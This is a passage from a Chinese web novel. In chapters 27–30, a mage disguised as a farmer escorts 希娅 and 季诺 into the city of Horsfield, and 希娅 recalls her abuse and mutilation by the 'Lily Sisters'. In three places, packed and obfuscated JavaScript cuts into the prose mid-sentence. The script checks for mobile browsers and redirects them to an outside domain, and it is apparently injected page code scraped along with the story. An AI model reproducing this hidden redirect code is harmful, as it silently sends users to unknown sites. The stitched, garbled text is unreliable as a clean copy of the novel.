她看不见究竟发生了什么,但能瞥见河流中的倒影:蜃楼正站在她身后,金色的微光包裹着他,将他非人般昳丽的脸庞衬得柔软而温和。又有跳跃的金色光点,在大魔法师轻声的吟唱下如飞雪一般落到她后背上,结成了一张半透明的薄膜。 希娅顿了一下,立刻意识到他在做什么了。 他在用结界保护她的伤口。 这种处理伤势的手段简直闻所未闻,可鉴于结界的性质……竟然真是可行的。 希娅没再说话,只乖乖等到蜃楼念完了咒语,才转过身去,定定地看着他。 “你说我没有告诉你,可你明明不在帐篷里呀。”她抢过话头,学着蜃楼的样子抱起胳膊,率先兴师问罪起来,“蜃楼,你刚才去哪儿了?” 换成以前,希娅是决不会这样对待他的。 可她今夜或许是鬼迷心窍了,净想着验证些什么,得寸进尺的心思蠢蠢欲动。一句话说完,她盯着蜃楼的脸,心底又是期待、又是害怕。 也不知道该说是“果不其然”,还是“出人意外”。面对她明显僭越的质问,蜃楼没有半点愠怒的样子,反而是有些意外地看着她。 “哦,对。”他一合掌,竟然向希娅道起歉来了,“抱歉,我刚才去摘了些薄荷叶。” “薄荷?”希娅看着他,疑惑地重复了一遍。 “啊?难道,你们这里不叫……?”蜃楼顿了一下,忽然意识到什么,不再说下去了。他从口袋里摸出一把翠绿的叶子,在希娅面前晃了晃,那股一直若隐若现的薄荷香气霎时变得浓郁起来:“就是这个。” 希娅抿了抿嘴唇,拨开叶子,目不转睛地盯着他:“我知道这是薄荷。我是问你为什么要摘薄荷?” “因为天气冷了。你受着伤,容易着凉。”蜃楼解释道,“薄荷药食两用,对身体很好……嗯?希娅,你怎么了?” 在他关心的声音里,希娅回过神来,发现自己的眼眶不知何时竟然湿润了。 她愣了一下,别过头去,擦掉那些多余的水分,低声说:“没什么。我困了。” 蜃楼不疑有他。大魔法师收起他的薄荷叶、又解掉缠绕在希娅手上的绷带,贴心地说:“那就去休息吧,晚安。” 希娅却看着他,半天没挪动脚步。 她沉默片刻,忍不住问他:“就这样?你没其他想说的了吗?” 蜃楼愣了一下,旋即露出了然的神色。 但他明显是理解错了什么,看向希娅的目光竟然变得如同长辈看待晚辈一般……就像平时摸季诺的头那样,他也轻轻地摸了摸希娅的脑袋,然后饱含温柔与鼓舞地、低声说了一句—— “好姑娘。” …… 希娅忽然什么话也说不出来了。 她只觉自己一拳打在一朵笨蛋棉花上。 28. 第 28 章 要说翻山越岭地走小路去霍斯菲尔德,虽然不太安全,速度倒是快了不少。 现在,蜃楼站在高处,已经能看见城池的轮廓。按照他们的速度,再过不久,就能进入城区了。 不过,在那之前,他还有一件事要做。 蜃楼练习了半个月的伪装魔法,现在已经能做到保持稳定的伪装了。 但这样最大的缺点,还是他不能分心去施展第二种魔法。维持伪装就意味着不能使用其他魔法了,这无疑是一项巨大的削弱。 但没关系。 希娅也是个天资卓越的魔法师,蜃楼相信她的能力。 他用魔法将她转变为一个褐发黑眼的的乡村女孩儿,自己则化身为一个健壮的农夫,与季诺、希娅一同,敲响了一座小屋的房门。 此处位于霍斯菲尔德城郊,是一座平凡到有些落后的村落。与歌登镇不同,这座村庄的地面是泥泞的、房屋屋顶是用茅草掩盖的,隔音效果不是很好,时不时有家禽牲畜的叫声从中传出。 蜃楼叩开其中一扇破旧的门扉,心中已经想好了托辞。 他是带着弟弟妹妹前往霍斯菲尔德投奔亲戚的,途径小村借宿一晚,愿意给主人家支付合适的报酬…… 木门吱吱呀呀地打开,一股家畜的气味扑面而来。蜃楼抬起眼睛,对上门内的农妇,礼貌地打起了招呼:“您好。我和弟弟妹妹来霍斯菲尔德投奔亲戚。想在附近借宿一晚,请问……” 门内的女人身材高壮,面庞漆黑一片。她先是警惕地打量了蜃楼一番,又看向他身后的希娅、季诺,见他们虽然瘦弱,身上却披着材质上乘的羊毛布斗篷,挣扎了一阵,还是让出路来:“你们……算了,外面冷,先进来吧。” 蜃楼向她道了声谢,走进房子内部,才发现这间屋子只有一个房间。主人以木板简陋地搭了一面隔墙出来,将牲口居住的区域与人活动的区域分割开来。 女人将他们迎进室内,拿起挂在门边的木板,将门结结实实地闩上。 同时,她透过窗隙看了一眼窗外漆黑的天色。似乎有零星的雪沫子从天际落下来了,这让女人重重地叹了口气。 “不好意思啊,也不是我怀疑你们。自从格拉斯亡国之后,这一带的流民就变多了……有些还成了强盗,走哪儿抢哪儿。”女人抱怨着,手指在她看不出颜色的围裙上擦了擦,拾了块柴火,扔进燃烧的壁炉里去,“最近的山头就有这么一帮。大家现在都不敢上山拾柴了,花钱买又贵,也不知道能不能撑过这个冬天……你们是本国人吧,从哪儿来的?” 这可问到蜃楼了。他只知道游戏剧情,对弗洛瓦的风土人情知之甚少。还没想出该如何糊弄过去,坐在草垛上的希娅却开口说道:“我和哥哥是从法姆来的,不太清楚这附近的情况。格拉斯不是亡国了三年多吗?弗洛瓦皇室就没有对这些难民采取任何措施?” 女人面色一滞,旋即无奈地叹了口气:“皇室?皇城跟这儿天南地北的,哪儿管得着啊!领主倒是派了几个老兵来镇守村口,可那帮家伙,竟然收什么‘保护费’……说起这个,你们进村的时候,没遇见他们吗?” 这一带的领主,就是蜃楼在歌登镇打过照面的马坎男爵了。不过,蜃楼回忆了一番自己进村时的情形,确是没遇到什么士兵打扮的人,于是坦白地回复她:“没有。” “估计喝酒去了,这几个吃里扒外的人渣!”女人面色晦暗,愤愤地唾骂了几句,又对蜃楼说道,“他们手里有火铳,还把村民们当家畜一样使唤,不叫我们进城去……我请你们歇息一晚,不要报酬,但你们要帮我把消息带进城里去告诉领主,把这群家伙给绳之以法了!” 蜃楼顿了一下,没想到马坎男爵竟然还能跟“绳之以法”这样的成语搭上关系。 他在自己领地内的声名竟然还不错吗?他心中有些疑问,朝希娅望去,却看见希娅摩挲着手腕,眼底闪过一道阴恻恻的光。 “好,我答应您。” 蜃楼想了想,还是将这件事应了下来。 他的伪装现在已经很稳定了。多一个理由,更方便蜃楼混进霍斯菲尔德里打听消息。 他不是没想过直接带希娅杀回去,可以本尊的个性,绝不可能毫无缘由地隐藏自己这么多年。考虑再三,蜃楼还是决定继续贯彻本尊低调的行事风格,保守地完成任务。 ……但愿这样不会增添什么变数。 一行人就这样在小村里休息下来。 希娅十分适应她乡村少女的身份,不出片刻便与农妇打成一片。她拿出从蜃楼那儿取来的红酒,这酒她喝了小半个月,快要见底,几个人一起喝是不太够的。但季诺有办法,他将红酒放进铁锅里,加了些水进去,又从他的木箱里取出一些香气芬芳的干草药、还有蜃楼一路上摘来的薄荷,放进锅中一同煮开。不过片刻,热红酒的香气便盖过了房中的家畜气味,叫人心中只余下融融的暖意了。 蜃楼无心融入他们,一整夜都在房间的另一边闭目小憩。 直到聊天声渐微,鼾声响起,农妇与季诺都陷入安眠,他才睁开眼睛,朝窗外望去。 他几乎不用睡觉,每个晚上都这样发呆过去,实在无聊。 窗外,漆黑的天幕似乎与现代没什么差别。“钟灵”也曾在无数个寒窗苦读的夜晚,疲惫地向窗外眺望;只是那时不论是心境还是环境,都与现在有着极大的差别…… 如今,蜃楼在这个鬼地方度过这么长的时间,心中想要回家的欲望也没有刚开始那么迫切了。 再度回想起“钟灵”的名字,竟然有一瞬间觉得陌生。 他倚着石头与黏土搭成的墙壁,没来由地想起一部有名的动画电影。 电影的女主角如他一样,误打误撞地进入了一个奇幻的世界、在当地人的哄骗下签订了出卖自己的契约。她险些失去了真正的名字——在那里,如果忘记自己真正的名字,是要永远地变成仆人,任人驱使的。 这么一想,他还挺幸运,至少还不至于忘记自己的名字…… 蜃楼想到这里,心却忽然一沉。他似乎想起什么事情,伸出手张开五指,将目光紧紧地钉了上去。 这是一双男人的手。 苍白修长,掌心宽阔。五指伸开来,可以完全覆盖住装粥汤用的大碗;哪怕收成拳头揍人,也能在对方的脑门上留下碗口大的淤青。 可是,现在。 他忽然想不起来,“钟灵”的手该是什么形状了。 “在想什么呢,大魔法师?” 希娅的声音突然出现。 她在他身边嘿咻一声坐下,手里拿了个破旧的陶碗,将它递给了蜃楼。 蜃楼看了眼她手里的碗,红色的酒液上漂浮着草药,尚且冒着热气,但并非他的喜好。他将视线收回去,不假思索地说:“没什么。我不喝酒。” “真没什么吗?”希娅说着,指了指他身下的地面,“你分心了。” 蜃楼向她指的地方望去,终于发现地面上垂落的白色发丝。这让他有些懊恼,深吸口气飞快地念诵了一段咒语,瞬息之间,又将自己与希娅变回了满脸雀斑的乡下兄妹。 “嗯,而且,”希娅顿了一下,继续说道,“其实你以前挺喜欢喝红酒的。” 蜃楼:…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894909|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他拿过希娅手里的破碗,仰头将碗中的红酒一饮而尽。 不喝酒、能喝酒、爱喝酒的人,舌苔构造或许是不一样的,至少蜃楼吃不出这酒里有什么美好的味道。他只能尝到葡萄汁发酵之后的苦涩,掺杂着淡淡的草药气味。入口像在喝什么中药,实在静不下心细细品味。 他还是不想与这里的人关系太深,尤其是女主角希娅。说到底蜃楼也是男主之一,拿着这样的身份卡,却注定要离开这个世界……在这样的前提下,倒不如让希娅以为他就是本尊,离开的时候还能轻松一些。 可话又说回来,希娅现在还愿意给送她上断头台的蜃楼递酒呢。虽说他是帮了她……可这样真的好吗?蜃楼不解地想。 “你……”他放下碗,沉吟片刻,还是开口了,“是我把你变成死刑犯的。你不恨我?” “当然恨了。”希娅理所当然地回答,她的眼睛与窗外的夜空一样漆黑,叫人看不出其中埋藏的情绪,“所以,我在酒里下了毒哦?” 蜃楼没来得及做出反应,却听希娅自嘲地笑了一声,继续说道:“开玩笑的。” 她哪儿舍得呀。 少女顿了顿,将视线投到地面上,自言自语一般说了下去:“爱也好恨也好,反正,感情是这个世界上最没用的东西了。不然,我怎么会落得这样的下场呢?” 像是疑问,又似乎是陈述的句子。希娅跌宕起伏、为人鱼肉的前小半生,就这样被三言两语地被主人感叹出来。出人意料的是,她的语气里没有任何怨怼,仅透出一丝隐约的失落与悲伤——明明希娅差一点就要死了,她比任何人都有怨恨始作俑者们、唾骂命运的理由。 蜃楼不知该怎么回应她。 他是出于任务才将她救下来的。本心也没比原来的蜃楼纯粹多少,怎么配与她交心呢。 可是,他明知道自己不该,或是想起洞窟里希娅怜悯地看着他的样子、那个冰冷硌人的怀抱,又或是她刚才递来的那碗苦涩的红酒;那份万恶的同理心啊,在沉默中又开始作祟起来了。 他抿着嘴唇,踌躇片刻,终于下定决心,准备说些什么。 “可你这是在惩罚自己。”蜃楼开口,目光在希娅缠着绷带的手腕上稍顿,又移回她的脸上,郑重地说,“你已经受了很多委屈了,希娅,不要否定自己的感情。” “你是个好姑娘……”他停顿了一下,似乎想到了什么,语气有些懊恼,“真的。不好的另有其人。” 希娅闻言,抬起头来看他。那双漆黑的眼睛里萌生出陌生的色彩,她支起脸颊,好似看见了什么令人怀念的东西,表情柔软起来:“哎呀……你这是在开导我吗,大魔法师?” 蜃楼反应过来,毫不犹豫地否决道:“不是。只是防止你自暴自弃,影响我达成自己的目的。” 希娅轻笑一声,不置可否:“嗯哼,也许吧。” “不过,其实你说的很有道理。”她将手抬起来,咬住拇指,期待地说,“再答应我一件事好吗,蜃楼?” 蜃楼不明所以地看着她。 希娅放下手,难得交握双手、摆出少女般姿态,期待地看向他:“马坎那个伪君子,我想亲手杀了他……先说好了,你可不能拦着我哦?” 她的确是因为这番话重拾起自己憎恨的权利了,虽然看起来有些过头。 少女婉转的声音落下,壁炉里燃烧的火堆似乎感应到什么,发出“噼啪”的响声。与此同时,蜃楼沉默片刻,伸出手,在她柔软的发顶轻按了一下。 “想做什么就去做吧,不用顾虑我。” 至少,他的确没什么立场去干涉希娅的复仇。 29. 第 29 章 次日一早,天色未亮,几人便出了门。 有了伪装术的便利,直至来到霍斯菲尔德的城门前,蜃楼都没有遇见什么阻碍。 只是这景象,实在够不上游戏里所描述的“太平盛世”…… 到了城池外围,破败的帐篷就多了起来。它们大多是用树枝、茅草和黏土临时搭建,紧靠着城墙,其中或躺或坐着瘦骨嶙峋的灾民,正向往来的旅人伸手乞讨食物。 从城门中,又有穿着白色衬衫、披着精致马甲的商人驾着马车出来。马车上的货物堆得满满当当的,偶尔有人扔下来几个腐烂的苹果,此时便有一群灾民一哄而上,野蛮地争抢起来。过了一会儿,等到人群散去,泥泞的地面上已是连摔碎的果泥都不剩下了。 “王公贵族,果真没一个好东西……”希娅跟在他身边,蹙起眉头开口,“这些人是格拉斯来的战争难民。他们信了弗洛瓦的鬼话,以为皇室会给他们好的归属,背井离乡来寻找出路。” “但弗洛瓦的领主们不肯接受他们,说那是弗洛瓦皇室的承诺,跟王公贵族无关……呵。” “可是,从格拉斯徒步到弗洛瓦的皇城,至少也需要半年的时间。”季诺接过话茬,心情复杂地说,“能有多少人真的跑到那去?” 看这样子,死在路上的人更多。 蜃楼收回视线,心底有些感慨。他忽然庆幸自己生在一个和平的国家,至少不必为战争担惊受怕,也不用为吃不饱穿不暖发愁。 几人排着进城的队伍,很快来到了守门的士兵面前。 在他们之前,恰有他乡来的贵族坐着马车进门。士兵奉承地送走那位贵族之后,转脸看见灰头土脸的蜃楼一行人,面上露出不耐的神色。 “领主有令,格拉斯的流民不能进城。”他挥着胳膊驱赶他们,“去!往南走,到皇城去!一帮乞丐,霍斯菲尔德是什么人都能进的吗……” ?这人…… 蜃楼走上前,正想说点什么,脖颈处却骤然一紧,希娅又在后面拉着他了。 她有时用这样的行为表示制止,现在大约是叫他不要多说的意思。蜃楼顿了一下,撇撇嘴别过脸去,干脆眼不见为净。 “不好意思,我们是法姆来的。”希娅往前走了一步,挡在蜃楼身前,礼貌地与士兵交涉,“这是身份证明,请您过目。” 她从斗篷下取出一沓纸来,将其递交给了士兵。士兵半信半疑地接下,拿起文书,对照着他们看了几眼,然后对身后的人说道:“放他们过去。” 蜃楼不知道希娅是什么时候准备好这些东西的。她看起来轻车熟路,年纪不大,却意外可靠。 这样也好,省得他再用魔法折腾了。 不过,这个见人下菜碟的家伙…… 忍是不可能忍的。蜃楼口中轻声念咒,在途径士兵的瞬间,往他颈后的领子里远远地扔了枚冰锥进去。 魔力凝聚出的冰锥要比寻常的冰更冷,化得也要更快。擦肩而过的功夫,士兵的惊呼声从身后传来。人群喧嚷一阵又归于秩序,而那个驱赶他们的士兵,似乎是被长官呵斥了一番,恹恹地退下阵来。 蜃楼对这个结果十分满意。 他泯灭指尖的金色光辉,抬起头,却发现希娅驻了脚步,正笑吟吟地看着他。 不知道为什么,蜃楼忽然感觉带着颈圈的位置一阵幻痛。他下意识举起手,解释道:“不是我做的。我什么都没干。” 说完才察觉到这掩饰有多欲盖弥彰……此地无银三百两啊,根本没人问他。 恰好有旅人交谈着经过他们:“这天明明还没下雪呢,那守卫也不知道是不是脑子抽了,竟然说下冰雹了!怕不是天天狗眼看人低的,花神也看不惯他……” “冰雹?”季诺听见他们的交谈,有些诧异,“这一带的气温得等到月末才会开始降雪吧。今年怎么来的这么快……希娅,蜃楼先生,你们带了御寒的衣服吗?” 希娅笑了笑,竟然脸不红心不跳地扯了个谎,帮他圆了过去:“哦,应该不是冰雹。说不定是妖精在拿雪球砸人呢,这附近一直有这样的传说哦。有只调皮的妖精,会拿雪球砸所有他看不顺眼的人……” 蜃楼:“……” 季诺听着,露出似懂非懂的神色。善良的本质促使他相信了希娅,挠挠脸颊便揭过了这个话题:“那我们先进城吧。找好歇脚的旅店,再想想要怎么把玛丽婶婶的话传给领主先生……” 玛丽就是那晚收留他们的农妇。 季诺、希娅与她混得很熟,临行之前,玛丽几乎已经将他们视如己出。不光送了几个手织的布包,还将家里的鸡蛋、牛奶都分了一些出来,甚至呵斥起蜃楼“哥哥长得这样健壮、却叫弟弟妹妹们吃不饱饭,瘦成这副样子”…… 蜃楼哭笑不得,答应她一定将弟弟妹妹养得白白壮壮的,玛丽这才放心地让他们离开。 为了让那几个尸位素餐的老兵得到惩戒,她拜托希娅写了一份“诉讼书”。玛丽自己不识字,只能在上面按手印;但她信誓旦旦地向蜃楼保证,马坎男爵和其他领主不一样,是个一心为民的好领主。只要他们拿着“诉讼书”上门去,一定能得到称心的回报—— 说实话,真实性存疑。但对于蜃楼等人来说,算得上能够一试的办法。 “女神之血”是深埋于地下的神秘俱乐部,这不仅仅是字面意思而已。平民百姓是没有接触它的机会的,原来的蜃楼或许知道它的坐标,但现在的蜃楼大脑一片空白;至于希娅,她进出俱乐部时都是被蒙上眼睛的,更说不清它在什么地方。 如果能找到和马坎男爵独处的机会就好了,蜃楼想。 使用“催眠术”能省去很多麻烦。 没有踏入“女神之血”的必要,他只要拿到那份可以扭转局面的证据就好。 每在这里多待一天,“钟灵”的记忆就远去一分。他只能加快脚步,在彻底成为“蜃楼”之前,回到原来的世界里去。 可是,现在的蜃楼,其实已经有些犹豫了。 即便最后完成了任务,他是否还能做回一开始的那个“钟灵”呢…… * 忽略城门外搭起帐篷的平民,霍斯菲尔德倒也说得上是一座欣欣向荣的城市。 它地处弗洛瓦边界,两国交战之际一度成为战场。但马坎男爵或许是有些真材实料的,他在接手这座城市之后,降低税收、提高守备,集中维护市场、交易区的安全,还借地理位置的便利,让霍斯菲尔德成了原格拉斯与弗洛瓦之间中转的纽带。 苦于战火的平民在战争结束后迅速振作。短短数年时间,霍斯菲尔德已经发展为一座经济蓬勃的小城。 蜃楼在这里卖掉了那把梨琴,用换来的钱在旅店租了两个房间。 这里的物价不高,只要五枚银币,他们就能在这里住三天了。他和季诺一间,希娅则单独拥有一间单人房。 入住之后,蜃楼用魔法将衣柜门与神殿废墟做了连接。就像歌登镇里那座召唤黄金少女的单向传送阵一样,用木炭和着强化魔药做勾勒,可以多用几次。而且,这种特化的传送阵,比普通型要节省魔力,也不会造成太大的波动。俗话说“狡兔三窟”,这道传送阵作为最后一道保险,蜃楼其实更希望它不要派上用场。 放下行李之后,几人稍作修整,便朝着领主的住宅出发了。 弗洛瓦境内的领主大多拥有自己的庄园,但马坎男爵是例外。他只在城内拥有一栋自己的府邸,同时发挥工作场所与住宅的作用。 追溯起来,他与那些世家不同,算是弗洛瓦的“新派贵族”。 新派贵族以战功、或是其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913941|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他突出的能力(包括有钱)而被授封。以这个世界的标准衡量,新贵族们虽然在自己的事业上一鸣惊人,但底蕴、纪律有所欠缺,社交时往往受到老派贵族的排斥;但也因此,他们比老派的名门更为忠心——对于弗洛瓦皇室而言。 蜃楼对此倒是没什么特别的感想。只觉得果然不论在哪一个世界,要实现阶级跨越都没那么容易…… 现在,乡下三兄妹披着斗篷走进领主宅邸,门口的守卫与城外的不同,并没有刁难他们。在蜃楼说明来意之后,爽快地将他们放进了屋内。 宅邸的大厅则处处是忙碌奔走的人。纸张翻页的声音填满房间,伴随着人们时不时的争辩;蜃楼一边避开抱着材料行走的人,一边跟随着前面带路的侍从。 那位侍从的脚步飞快,仿佛面临的是一件及其紧迫的事情。直到几人穿过大厅,来到一间办公室门前,时间才过去数分钟而已。 侍从叩响大门,不出片刻就有人将其打开。蜃楼被迎进门内,却见房间内坐的并非马坎男爵,而是个满目疲惫的年轻男人。 “什么诉求?”男人有气无力地说,他的手上还拿着一沓厚厚的文书,书脊上写着《霍斯菲尔德本年度领地收入明细》,“先填表吧,从我桌上拿。市场管理在左边,治安问题在右边,服务投诉是中间这一叠……” 蜃楼走上前去,系统在他耳边实时翻译着纸面上的文字。虽然不至于看不懂,但动手去写就有点困难了。在他迟疑的功夫,希娅越过了他,伸出手去,抽出那张“治安问题”的表格,刷刷地写了起来。 这个世界的语言有点奇怪。 人们交流时用的还是中文,到书面上就成了一种介于俄语与拉丁文之间的文字。有圆有方的,看着像一排奇形怪状的小人,只不过希娅写起来,比纸上的印刷字体还要端正一些,看着更让人顺眼。 她填好表格,又从口袋里取出“诉讼书”,一并交了上去。动作落落大方,毫不引人生疑。 “领主府好像很忙。”希娅看着男人,从善如流地与他寒暄起来,“您是领主吗?我婶婶说,领主大人爱民如子,会亲自接见我们的……” 书记官闻言,自嘲地笑了笑,说道:“我可不是,你们的领主大人忙着呢。”语毕,又放下手里的文书,拿过希娅填好的表格查看,眉头紧锁起来。 “卫兵收保护费?”他嘀咕着,目光缓缓下移,“怎么又是他们几个……” 那书记官颇为头疼地揉了揉眉心,在表格上敲了个章,对他们说:“这几个人是战争时期就跟着领主的老兵了,有军功在身,不好处理,我尽量在三日内给你答复。你们买通讯石了吗?” 通讯石? 蜃楼花了一些时间,才想起游戏里还有这个设定来。 与投影石一样,通讯石也是一种便携的魔法道具。用处与当代的手机相似,但在这个世界里,暂时只有收发讯息、语音联络的功能。平民百姓大多供不起,只有赶时髦的年轻贵族会配上一台,方便和朋友联络。 希娅原来是有一块的,但在她摔下高塔的时候——也就是她被希恩设计为“失踪”的那一天,那枚通讯石也掉到地上,摔成碎片了。 希娅大约也想起这件事情,垂着眼睛没有接话。蜃楼便接下话茬,如实告诉书记官:“没有,我们身上没什么钱。” “哦……那留个地址吧。”书记官说,“我们送信过去。弗洛瓦现在推行惠民政策,魔力产品没那么贵了。有了通讯石,做什么都能方便一些。” 蜃楼点了点头,正要带着希娅、季诺一起出去,忽然听见一阵脚步声由远及近地响了起来。 紧接着,封闭的房门被人用蛮力强行推开。门闩落到地上,一个妇人哭哭啼啼地冲了进来:“大人!大人!您可要给我们家老杰克想想办法啊!” 30. 第 30 章 守在门边的女侍走上前去,拿起地上被破坏的门闩,表情有些难堪:“书记官,这……” 书记官扶着额头,无奈地向她摆了摆手:“让她说吧。门锁的钱从我俸禄里扣。” 妇人还在转着眼睛察言观色,现在确认了书记官的态度,眼前一亮,连忙扑到桌前,大哭起来。 “我们家老杰克上周出城时还是健健康康的,今天就躺着被人送回来了!领主大人,您可要给我想想办法啊……” 书记官见她涕泪横流的样子,有些无奈。 “话不能乱说,我可不是领主啊。”他从口袋里抽了张洗得发白的手绢递了过去,又忽然想起什么,问道:“杰克?……等等,你丈夫叫杰克?” “对,对!”妇人连忙点头,激动地说,“领主大人,您记得他,是不是?他在格拉斯战争时就已经跟着您了!我可怜的老杰克,为了国家奋战半生,现在却躺在床上动弹不得,城里的医师都拿他没有办法……” 书记官的表情变得微妙起来。 他拿出希娅的“诉讼书”,对照着看了一眼,随后又转向妇人,温声宽慰道:“您先冷静一下。到底发生了什么,说清楚一些,我才能想办法帮您。” 妇人于是便抽噎着说下去:“这事儿说来话长吧。我家老杰克最近领了个守村的差事,十天半个月才能回来一趟……平时在城郊那鸟不拉屎的村子守门,没吃没喝,还要天天提心吊胆地,防止土匪下来抢钱……” 书记官无奈地打断她:“所以,发生了什么事?你丈夫是受伤了吗?” “是啊!”妇人顿了一下,愤愤地说,“他早上去村里的酒馆吃饭,忽然就晕过去了!下午送回家里来,我侄子请来城里的医师看了个遍,都说治不好……要我看,肯定是那帮乡下人记恨他,在他的饭菜里下毒了!” 说到这里,一旁吃瓜的蜃楼终于认识到不对。他望向眉头紧皱的书记官,又看了看妇人身上精致的打扮,停顿了一下,无声地向门外挪去…… “杰克负责维护城郊治安,当地村民本营没有理由对他动手。”书记官沉吟片刻,拍了拍手上的诉讼书,说道,“不过,在您之前,恰好有人举报他敲诈勒索、尸位素餐……那边几位,介意再留下来聊一聊吗?” 蜃楼停下脚步,但却非出于自愿。希娅扯住他的披风,站在另一边的季诺犹豫了一会儿,开口道:“那个……救人要紧,我懂一些医术,或许能帮上忙。” 妇人闻声望去,在看清季诺的模样之后,露出嫌弃的表情。 “就你?小屁孩还懂治病?”她狐疑了一句,又巴巴地凑到书记官身边,试探地说,“大人,咱们城里的‘百合花姐妹会’之前救了不少命悬一线的伤兵呢……您看,咱能不能……” 书记官却只是叹了口气,一边收纳桌上的文书资料,一边说道:“那是非常时期。现在国泰民安,百合修女已经很久不出诊了。我们先去看看你丈夫的情况,再想办法,好吗?” 话音刚落,蜃楼似有所觉,侧目望向站在他身边的希娅。 “百合修女”—— 在听到这四个字之后,希娅似乎想起什么。尽管面上不显,肩膀却无法控制地微微颤动起来。 蜃楼作为玩家,当然了解她的过去、也明白她颤栗的理由。可作为“蜃楼”,他实在不知道应该怎么安慰她。 毕竟本尊都在“女神之血”喝过酒了,怎么看都和希娅的不幸脱不开关系…… 稍作犹疑之后,他伸出手,隔着斗篷,轻轻地拍了拍她的手背。 希娅回过神,眼神从混沌转向清明。她唇角下抿,没说什么,那股异常的颤抖却慢慢地停息下来。 * 或许该拜希娅跌宕的前半生所赐。 现在,即便再次踏入这个蹉跎她数年的人间地狱,她依然可以做到面上的冷静自持。 哦,不,还得再加上一条。 希娅现在是正和那个曾将她送上断头台的、像对待家畜一样欺侮她的男人,一同踏进这座炼狱之中呢…… 换做以前,不,哪怕是被押到断头台上的那时候,希娅也无法料想自己会在短短几个月的时间里迎来这样的变化。她竟能心平气和地和蜃楼站在这里,听阿忒菈的婶婶扯闲话——这个多嘴的妇人,希娅是认识她的,她是阿忒菈的亲人。她在这里,则说明他们离见到阿忒菈也不远了。 阿忒菈是女神之血的斗士,只要找到他,顺藤摸瓜找到女神之血是不难的。可问题是…… 那里隐藏着她过去令人作呕的回忆。 往日记忆如同割破血管喷涌而出的鲜血,努力忽略也不能阻止血流成河。尤是提及“百合修女”,希娅眼神一黯,面目的伪装险些破碎,手腕处陈年的伤口也隐隐作痛起来。 他们都不知道。 “百合修女”,实为马坎男爵为了名利而暗中创造的,一种商品。 当年她被卖进“女神之血”,从皇女跌落为为人开刃的奴隶。所谓开刃,当然不是指优哉游哉地坐在仓库里给人磨刀;而是被推到角斗场上,以鲜血和死亡为观看的客人助兴。 希娅差一点就死在那里。 是一位“百合修女”救了她。 她曾经绝望过,却因那位沉默的修女,重新燃起了希望。 希娅真以为她们是神明的使徒、是带来奇迹的救星。所以,在得知姐妹会每年都会来俱乐部收纳新成员之后,她拼尽全力地想活下去。 她想借“百合修女”的身份走出角斗场,回到皇城、揭开男爵的真面目;于是她杀死拿她“开刃”的斗士,从奴隶变成杀手。为了活到被选择的那一天,希娅不得不战斗、不得不杀人;可她无法摆脱良心的谴责,因而只能在每次结束之后亲手收殓对手的尸体,以此告慰她那点可笑的善心。 命运不会亏待一个努力的人。 希娅最后如愿以偿,但得到的回报,似乎是颗夹了刀片的蜜糖。 为百姓所知的“百合修女”,是如百合花一般纯洁无瑕的存在。她们往往沉默,面上戴着绣了百合纹样的面纱与头巾,身上则以漆黑的修女袍严严实实地包裹起来。传言,她们将身心都奉献给了花神,于是凡夫俗子便没有资格窥探她们的样貌…… 但事实并非如此。 沉默是因为被割掉了舌头,面纱头巾是为了遮挡被魔力侵蚀而变形的面目。漆黑的修女袍是方便遮掩血渍,裹得严严实实,则无人能看出她们衣袍下错综可怖的伤痕。 所谓生死人肉白骨的奇迹医术,实为一种不为人知的魔法。“伤害转移”,能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926871|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够将一个人身上所受的重伤原封不动地转移到另一个人身上去。马坎男爵所组织的“百合花姐妹会”有三重意象:在百姓眼中,她们是花神的代言人、无私的医者;在一些阴谋论者眼中,她们是马坎男爵提供给权贵的玩物;而在真正非富即贵的人眼中,她们是比任何魔药都要有效的良药…… 不难想象希娅在成为“百合修女”后的经历。她当然没有幸免的理由,和其他修女们一样被剜去舌头,连吟唱咒语的能力都失去,彻底地成为了一个傀儡。 命运似乎总喜欢拿她来做消遣。 在她十五岁生日那年,希恩说高塔下的花田俯瞰就像一只振翅欲飞的蝴蝶,希娅相信了。她期许地爬上塔楼,却吃了一堑,因此从皇女堕落为一介奴隶。 在她十七岁生日这年,她又吃一堑,抱着那点可笑的憧憬,终于被百合花姐妹会接走。可等待着她的不是鲜花与迟来的正义,而是一支被烫得火红的铁钳。 …… 后来她十九岁,被害怕东窗事发的马坎男爵扔在霍斯菲尔德的贫民窟里。那时候战争停歇不久,流民四窜,街道上随处可见横死的尸体。希娅差一点点,就成为他们中的一员。 自从醒来之后,她已经很久没有回想过那段时间的经历了。不论是女神之血还是百合修女,都是她无法接纳的过去;还有一个更让她一度不愿面对的,现在恰好堂而皇之地站在她身边。 